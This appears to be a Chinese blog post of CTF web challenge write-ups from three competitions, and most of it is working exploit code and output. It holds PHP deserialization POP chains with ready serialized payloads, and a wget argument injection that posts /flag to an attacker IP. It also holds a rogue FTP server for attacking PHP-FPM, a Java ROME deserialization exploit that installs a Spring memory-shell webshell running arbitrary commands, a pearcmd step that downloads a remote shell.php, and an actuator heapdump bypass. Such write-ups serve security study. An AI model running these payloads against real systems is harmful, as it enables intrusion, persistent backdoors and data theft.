太久没跟新了 ,就一起发了 💨

# 0x01 DAS sept

# web

# hellounser

  • 一道 php 反序列化的题目:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class A {
public $var;
public function show(){
echo $this->var;
}
public function __invoke(){
$this->show();
}
}

class B{
public $func;
public $arg;

public function show(){
$func = $this->func;
if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) {
die('No!No!No!');
} else {
include "flag.php";
//There is no code to print flag in flag.php
$func('', $this->arg);
}
}

public function __toString(){
$this->show();
return "<br>"."Nice Job!!"."<br>";
}
}

if(isset($_GET['pop'])){
$aaa = unserialize($_GET['pop']);
$aaa();
}
else{
highlight_file(__FILE__);
}

?>
  1. 照常先来看入口点,在反序列化后立刻函数式调用了该对象,那么可以触发的就是 __invoke() 函数。
  2. __invoke() 函数内部调用了同类中的 show() 函数,其中将变量 $var 作为字符串打印,那么可以触发 __toString() 函数。
  3. __toString() 函数也调用了同类中的 show() 函数,包含了 flag.php 并且可以控制调用的函数名和第二个参数。
  • 这里我们可以确定使用 create_funtion() 逃逸,使用 ;};var_dump(get_defined_vars());// 来逃逸出大括号。

  • 但是这分别对 funcarg 做了过滤,那么我们分析如何绕过:

    • preg_match('/^[a-z0-9]*$/isD', $this->func) ,限制不能所有的字符都是字母或者数字,那么我们可以使用 \create_function 来绕过。而这个 \ 代表该函数是全局空间下的名称。
    • arg 变量限制了很多系统命令和 php 函数,但是没有限制 system() 函数。过滤了引号,那么我们可以不用引号,只要命令中间没有空格(当然不加引号似乎只在 php5 生效,我用自己电脑上的 php8 是不能执行的)。
  • 生成 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class A {
public $var;
}

class B{
public $func = '\create_function';
public $arg = ';};var_dump(get_defined_vars());//';

}

$a = new A();
$a -> var = new B();
echo urlencode(serialize($a));
1
O%3A1%3A%22A%22%3A1%3A%7Bs%3A3%3A%22var%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A16%3A%22%5Ccreate_function%22%3Bs%3A3%3A%22arg%22%3Bs%3A34%3A%22%3B%7D%3Bvar_dump%28get_defined_vars%28%29%29%3B%2F%2F%22%3B%7D%7D
  • 回显:
1
array(2) { ["func"]=> string(16) "\create_function" ["FakeFlag"]=> string(33) "fl4g{TrueFlag_is_in_Tru3flag.php}" }
  • 那么我们就需要去查看 Tru3flag.php:
1
public $arg = ';};system(ls);//';
  • 回显:
1
Tru3flag.php flag.php index.php
  • 单词命令是可以执行的,但是 cat Tru3flag.php 肯定会存在空格,就算将其 base64 之类的也不行,用引号(这里不让)在本地也失败。所以我们只能再嵌套一层 base64_decode() 函数:
1
public $arg = ';};system(base64_decode(Y2F0IFRydTNmbGFnLnBocDsg));//';
  • 注意 base64 编码不能有等号,因为等号也被过滤了,我的方法也很简单,在后面加一个空格就可以了。
  • 不过 base64 编码后触发了 nl (笑),这里我们用 cat Tru* 再编码:
1
public $arg = ';};system(base64_decode(Y2F0IFRydSoK));//';
  • 获得 flag:

  • 当然也可以用取反绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class A {
public $var;
}

class B{
public $func = '\create_function';
public $arg;

}

$a = new A();
$a -> var = new B();
$ac = (~('php://filter/read=convert.base64-encode/resource=Tru3flag.php'));
$a -> var -> arg = 'return(1);}require(~('.strval($ac).'));//';
echo urlencode(serialize($a));

# xxc

  • 打开网页提示 一条链子 ,使用 dirmap 扫描到网站源码 www.zip,进行代码审计。
  • index.php 其中存在反序列化操作,这道题确定是一道序列化的题目:
1
2
3
4
5
6
7
8
9
10
11
12
<?php
include("closure/autoload.php");
function _loader($class){
require_once './class/' . (str_replace('\\', '/', $class) . '.php');
}
spl_autoload_register("_loader");
error_reporting(0);
if($_POST['data']){
unserialize(base64_decode($_POST['data']));
}else{
echo "<h1>一条链子</h1>";
}
  • 我们先来学习一下 _loader() 函数,这是一个自动加载函数,在 PHP5 中,当我们实例化一个未定义的类时,就会触发此函数。

  • spl_autoload_register('loadprint')__autoload() 函数有异曲同工之妙,PHP 碰到没有定义的类就执行 loadprint() 函数。

  • 所以我们在 index.php 中可以自由的实例化存在的类。由于是反序列化的题目,我们先来看看入口点 __destruct()__wakeup() 函数是否存在:

    • \Control\State\StopHook.php 中发现了析构函数,调用了同类中的 _exit() 函数,其中 $process->stop(); 可能会触发 __call() 函数,而 !$process->isRunning 可能会触发 __get() 函数:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    <?php
    namespace Control\State;


    class StopHook {
    protected $output;
    protected $config = ['auto' => 0];
    protected static $states = ['started', 'running', 'finished', 'waiting', 'fail'];
    protected $processes;

    public function __destruct() {
    $this->_exit();
    }

    private function _exit() {
    foreach(array_reverse($this->processes) as $process) {
    if (!$process->isRunning) {
    continue;
    }
    $process->stop();
    }
    }
    }
    • \Faker\MyGenerator.php 中找到这两个函数, __call() 函数中 echo $this->defaultCall; 一句可能会触发 __toString() 函数:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <?php
    namespace Faker;

    class MyGenerator {

    protected $defaultValue;

    public function __call($method, $arg_array) {
    echo $this->defaultCall;
    return $this->defaultCall;
    }

    public function __get($property) {
    return $this->defaultValue;
    }
    }
    • \Method\Func\GetFile.php 找到 __toString() 函数,调用了同类中的 getFiles() 函数,发现函数的中调用了 isset() 函数,如果该类中不存在该属性,会触发 __isset() 函数:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    <?php
    namespace Method\Func;

    class GetFile {

    private $flag = true;
    private $files = [];

    public function __toString() {
    return $this->getFiles();
    }

    public function getFiles() {
    if (!$this->flag) return "denied";
    $s = "";

    if (isset($this->flag->{$this->value})) {
    return "test";
    }

    foreach ($this->files as $file) {
    $s += $file->read();
    }
    return $s;
    }
    }
    • Method\Func\GetDefault.php 中找到 __isset() 函数,调用了同类中的 popup() 函数,其中 return $s($length); 可能会触发 __invoke() 函数:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <?php
    namespace Method\Func;

    class GetDefault {
    private $source;

    public function popup($length) {
    $s = $this->source;
    if ($s->flag != "myTest") {
    return "denied";
    }
    return $s($length);
    }

    public function __isset($property) {
    if ($property != "test") {
    return false;
    }
    return !$this->popup(666);
    }
    }
    • 最后在 \Method\Func\GenerateFile.php 中找到 __invoke() 函数,且存在 call_user_func() 。没有想到在 php5 中是可以直接赋值在一个没有初始化的变量上的 2333。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    <?php
    namespace Method\Func;

    class GenerateFile {
    public $flag;
    protected $buffer;

    public function __invoke($param) {
    $this->myGen($param);
    }

    public function myGen($length) {
    $s = $this->buffer->read;
    call_user_func($this->source->generate, $length);
    return $s;
    }
    }
    • 整个链子理清楚了,但是发现 call_user_func() 的第二个参数被写死了,因为 $this->popup(666); 调用的时候将 666 传入了 __invoke($param) ,最后也就作为 $length 变量传入了 myGen($length) 函数。

    • 现在只能够调用类似 phpinfo() 等不需要参数的程序,并不能够 rce,该怎么办呢?

      1
      2
      3
      <?php
      $function = function(){ eval(system('ls')); };
      echo serialize($function);
      1
      Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed'
      • 使用这个项目,可以将闭包包装成一个 Opis\Closure\SerializableClosure 对象,然后使用标准的 serialize() 进行序列化。也可以使用 Opis\Closure\serialize 函数序列化任意对象。
      1
      2
      3
      4
      5
      <?php
      require 'closure/autoload.php';
      $function = function(){ eval(system('ls')); };
      $a = new \Opis\Closure\SerializableClosure($function);
      echo serialize($a);
      1
      2
      3
      4
      <?php
      require 'closure/autoload.php';
      $function = function(){ eval(system('ls')); };
      echo \Opis\Closure\serialize($function);
      1
      C:32:"Opis\Closure\SerializableClosure":156:{a:5:{s:3:"use";a:0:{}s:8:"function";s:33:"function(){ eval(\system('ls'));}";s:5:"scope";N;s:4:"this";N;s:4:"self";s:32:"0000000054d6224100000000237e90a4";}}
    • 那么我们可以将匿名函数通过 serialize() 函数经过一次序列化和反序列化,这样他就能作为 SerializableClosure 对象被序列化。或者直接将 generate 变量赋值为 SerializableClosure 类。

    • payload:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    <?php
    namespace Control\State {
    class StopHook {
    protected $processes;
    public function __construct() {
    $this -> processes = array(new \Faker\MyGenerator());
    }
    }
    require 'closure/autoload.php';
    $payload = new StopHook();
    echo base64_encode(serialize($payload));
    }

    namespace Faker {
    class MyGenerator {
    protected $defaultValue;
    public function __construct() {
    $this -> defaultValue = new \Method\Func\GetFile();
    }
    }
    }

    namespace Method\Func{
    class GetFile {
    private $flag;
    public function __construct() {
    $this -> flag = new \Method\Func\GetDefault();
    $this -> value = 'test';
    }
    }
    }

    namespace Method\Func{
    class GetDefault {
    private $source;
    public function __construct() {
    $this -> source = new \Method\Func\GenerateFile();
    $this -> source -> flag = 'myTest';
    }
    }
    }

    namespace Method\Func{
    class GenerateFile {
    public $flag;
    protected $buffer;

    public function __construct() {
    $function = function(){ eval(system('ls /')); };
    $this -> source -> generate = new \Opis\Closure\SerializableClosure($function);
    }
    }
    }
    • 将 php 文件放在 /www 文件夹下运行,得到序列化的结果(其实在 php5 中赋值一个对象在一个空变量中是会警告的 HP Warning: Creating default object from empty value in /var/www/1.php on line 51 ,在 php8 中就直接报错了):
    1
    TzoyMjoiQ29udHJvbFxTdGF0ZVxTdG9wSG9vayI6MTp7czoxMjoiACoAcHJvY2Vzc2VzIjthOjE6e2k6MDtPOjE3OiJGYWtlclxNeUdlbmVyYXRvciI6MTp7czoxNToiACoAZGVmYXVsdFZhbHVlIjtPOjE5OiJNZXRob2RcRnVuY1xHZXRGaWxlIjoyOntzOjI1OiIATWV0aG9kXEZ1bmNcR2V0RmlsZQBmbGFnIjtPOjIyOiJNZXRob2RcRnVuY1xHZXREZWZhdWx0IjoxOntzOjMwOiIATWV0aG9kXEZ1bmNcR2V0RGVmYXVsdABzb3VyY2UiO086MjQ6Ik1ldGhvZFxGdW5jXEdlbmVyYXRlRmlsZSI6Mzp7czo0OiJmbGFnIjtzOjY6Im15VGVzdCI7czo5OiIAKgBidWZmZXIiO047czo2OiJzb3VyY2UiO086ODoic3RkQ2xhc3MiOjE6e3M6ODoiZ2VuZXJhdGUiO0M6MzI6Ik9waXNcQ2xvc3VyZVxTZXJpYWxpemFibGVDbG9zdXJlIjoxODg6e2E6NTp7czozOiJ1c2UiO2E6MDp7fXM6ODoiZnVuY3Rpb24iO3M6MzU6ImZ1bmN0aW9uKCl7IGV2YWwoc3lzdGVtKCdscyAvJykpOyB9IjtzOjU6InNjb3BlIjtzOjI0OiJNZXRob2RcRnVuY1xHZW5lcmF0ZUZpbGUiO3M6NDoidGhpcyI7TjtzOjQ6InNlbGYiO3M6MzI6IjAwMDAwMDAwMmIzZjg4ZGMwMDAwMDAwMDE5NjUyZjhjIjt9fX19fXM6NToidmFsdWUiO3M6NDoidGVzdCI7fX19fQ==
    • 将作为 post 参数 data 传递,获得回显:
    1
    bin dev etc f1@g.txt home lib media mnt opt proc root run sbin srv sys tmp usr var
    • 修改 $function = function(){ eval(system('cat /fl@g.txt')); }; ,重新序列化:
    1
    TzoyMjoiQ29udHJvbFxTdGF0ZVxTdG9wSG9vayI6MTp7czoxMjoiACoAcHJvY2Vzc2VzIjthOjE6e2k6MDtPOjE3OiJGYWtlclxNeUdlbmVyYXRvciI6MTp7czoxNToiACoAZGVmYXVsdFZhbHVlIjtPOjE5OiJNZXRob2RcRnVuY1xHZXRGaWxlIjoyOntzOjI1OiIATWV0aG9kXEZ1bmNcR2V0RmlsZQBmbGFnIjtPOjIyOiJNZXRob2RcRnVuY1xHZXREZWZhdWx0IjoxOntzOjMwOiIATWV0aG9kXEZ1bmNcR2V0RGVmYXVsdABzb3VyY2UiO086MjQ6Ik1ldGhvZFxGdW5jXEdlbmVyYXRlRmlsZSI6Mzp7czo0OiJmbGFnIjtzOjY6Im15VGVzdCI7czo5OiIAKgBidWZmZXIiO047czo2OiJzb3VyY2UiO086ODoic3RkQ2xhc3MiOjE6e3M6ODoiZ2VuZXJhdGUiO0M6MzI6Ik9waXNcQ2xvc3VyZVxTZXJpYWxpemFibGVDbG9zdXJlIjoxOTc6e2E6NTp7czozOiJ1c2UiO2E6MDp7fXM6ODoiZnVuY3Rpb24iO3M6NDQ6ImZ1bmN0aW9uKCl7IGV2YWwoc3lzdGVtKCdjYXQgL2YxQGcudHh0JykpOyB9IjtzOjU6InNjb3BlIjtzOjI0OiJNZXRob2RcRnVuY1xHZW5lcmF0ZUZpbGUiO3M6NDoidGhpcyI7TjtzOjQ6InNlbGYiO3M6MzI6IjAwMDAwMDAwNzBkY2RiODIwMDAwMDAwMGFiNmZiZTVmIjt9fX19fXM6NToidmFsdWUiO3M6NDoidGVzdCI7fX19fQ==
  • 获得 flag:

# 0x02 陇原战 "疫"

# WEB

# CheckIN

wget 参数注入

argv=1&argv=–post-file&argv=/flag&argv=IP

# eaaasyphp

反序列化。ftp 打 fpm,流量用 gopher 生成下就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class Esle{
}
class Bypass{
public $str4;
public function __construct($str4){
$this->str4=$str4;
}
}
class Welcome{
public $username;
public function __construct($username){
$this->username=$username;
}
}
class Bunny {
public $filename;
public $data;
public function __construct($filename){
$this->filename=$filename;
}
}
class Hint{
public $hint=false;
}
$Hint=new Hint();
$Bunny=new Bunny("ftp://x.x.x.x:22:8000/a");
$Welcome=new Welcome($Bunny);
$Esle=new Esle();
$Bypass=new Bypass($Welcome,$Hint);
echo (serialize(array($Esle,$Bypass)));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 22))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
print("endd")

# EasyJaba

1
反序列化。不能有hashmap和BadAttributeValueExpException

有 ROME 依赖。刚好需要一个 tostring。

image-20211107195001054

自己加了个 tostring

题目不出网。考虑写内存马 + 命令执行回显

ROME exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.apache.commons.io.FileUtils;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Base64;
public class Exp {
public static void main(String[] args) throws Exception{
// 生成恶意 bytecodes
String code = "{printName();}";
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(test.class.getName());
clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()));
clazz.makeClassInitializer().insertBefore(code);
byte[][] bytecodes = new byte[][]{clazz.toBytecode()};
File classFilePath = new File(new File(System.getProperty("user.dir"), ""), "test.class");
FileUtils.writeByteArrayToFile(classFilePath, clazz.toBytecode());
// 实例化类并设置属性
TemplatesImpl templatesimpl = new TemplatesImpl();
Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templatesimpl, bytecodes);
Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templatesimpl, "test");
Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory");
fieldTfactory.setAccessible(true);
fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
// 要通过2个objectbean才能达成触发条件
ObjectBean objectBean1 = new ObjectBean(Templates.class, templatesimpl);
//objectBean1.toString();
// 输出base64后的序列化数据
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(objectBean1);
byte[] sss = byteArrayOutputStream.toByteArray();
out.close();
String exp = Base64.getEncoder().encodeToString(sss);
System.out.println(exp);
//byte[] obj_byte = Base64.getDecoder().decode(exp);
//InputStream inputStream = new ByteArrayInputStream(obj_byte);
//ObjectInputStream obj = new ObjectInputStream(inputStream);
//obj.readObject().toString();
}
}

内存马:test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import org.springframework.util.Base64Utils;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class guoke {
public static void printName() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, InstantiationException {
String className = "com.lyzy.ctf.ezjaba.controller.cmdController";
byte[] bytes = Base64Utils.decodeFromString("yv66vgAAADQAhwoAIABGCAA4CwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGIHAGYHAGcHAGgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEALkxjb20vbHl6eS9jdGYvZXpqYWJhL2NvbnRyb2xsZXIvY21kQ29udHJvbGxlcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAARjb2RlAQANU3RhY2tNYXBUYWJsZQcAUwcAaQcAUgcAWQcAZwcAagcAawcAbAcAZgEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQASY21kQ29udHJvbGxlci5qYXZhDAAhACIHAGoMAG0AbgcAawwAbwBwAQAAAQAHb3MubmFtZQcAcQwAcgBuDABzAHQBAAN3aW4MAHUAdgEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACEAdwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDAB4AHkHAHoMAHsAfAwAIQB9AQACXEEMAH4AfwwAgACBDACCAHQMAIMAIgcAaQwAhACFDACGACIBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAsY29tL2x5enkvY3RmL2V6amFiYS9jb250cm9sbGVyL2NtZENvbnRyb2xsZXIBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvT2JqZWN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoACEAHwAgAAAAAAACAAEAIQAiAAEAIwAAAC8AAQABAAAABSq3AAGxAAAAAgAkAAAABgABAAAACAAlAAAADAABAAAABQAmACcAAAABACgAKQACACMAAAG6AAYACQAAAK8rEgK5AAMCADoEGQTGAKEsuQAEAQA6BRIFOgYSBrgAB7YACBIJtgAKmQAiuwALWQa9AAxZAxINU1kEEg5TWQUZBFO3AA86B6cAH7sAC1kGvQAMWQMSEFNZBBIRU1kFGQRTtwAPOge7ABJZGQe2ABO2ABS3ABUSFrYAFzoIGQi2ABiZAAsZCLYAGacABRkGOgYZCLYAGhkFGQa2ABsZBbYAHBkFtgAdpwAFOgUDrASsAAEADwCmAKkAHgADACQAAABGABEAAAAKAAoACwAPAA0AFwAOABsAEAArABEASgATAGYAFQB8ABYAkAAXAJUAGACcABkAoQAaAKYAHACpABsAqwAdAK0AHwAlAAAAZgAKAEcAAwAqACsABwAXAI8ALAAtAAUAGwCLAC4ALwAGAGYAQAAqACsABwB8ACoAMAAxAAgAAACvACYAJwAAAAAArwAyADMAAQAAAK8ANAA1AAIAAACvADYANwADAAoApQA4AC8ABAA5AAAAOQAH/gBKBwA6BwA7BwA6/AAbBwA8/AAlBwA9QQcAOv8AGgAFBwA+BwA/BwBABwBBBwA6AAEHAEIBAQBDAAAABAABAB4AAQBEAAAAAgBF");
//控制器的bytecode
ClassLoader classLoader = Thread.currentThread().getClass().getClassLoader();
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
method.invoke(classLoader, className, bytes, 0, bytes.length);
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping);
adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
}
}

命令执行回显的控制器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.lyzy.ctf.ezjaba.controller;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class cmdController extends HandlerInterceptorAdapter {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
if(code != null){
try {
java.io.PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}catch (Exception e){
}
return false;
}
return true;
}
}

# 0x03 湖湘杯

# web

# easywill

变量覆盖 任意文件包含

img

1
?name=cfile&value=/etc/passwd

可以利用

1
pearcmd.php&+download+VPS/shell.php

可以参考 p 神 pearcmd 妙用

# Pentest in Autumn

java 一把梭

利用扫描工具 发现存在 java /actuator 路径泄露,确定为 Java 的 Spring 框架,直接访问 actuator/heapdump 文件无法访问,所以需要绕过,/;/actuator/heapdump

下载 /;/actuator/heapdump 导入分析工具

编写 python 脚本 生成密钥

1
2
3
import base64
import struct
print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', 89,-26,90,-9,106,118,-109,16,-98,73,38,62,88,127,-92,-68)))

img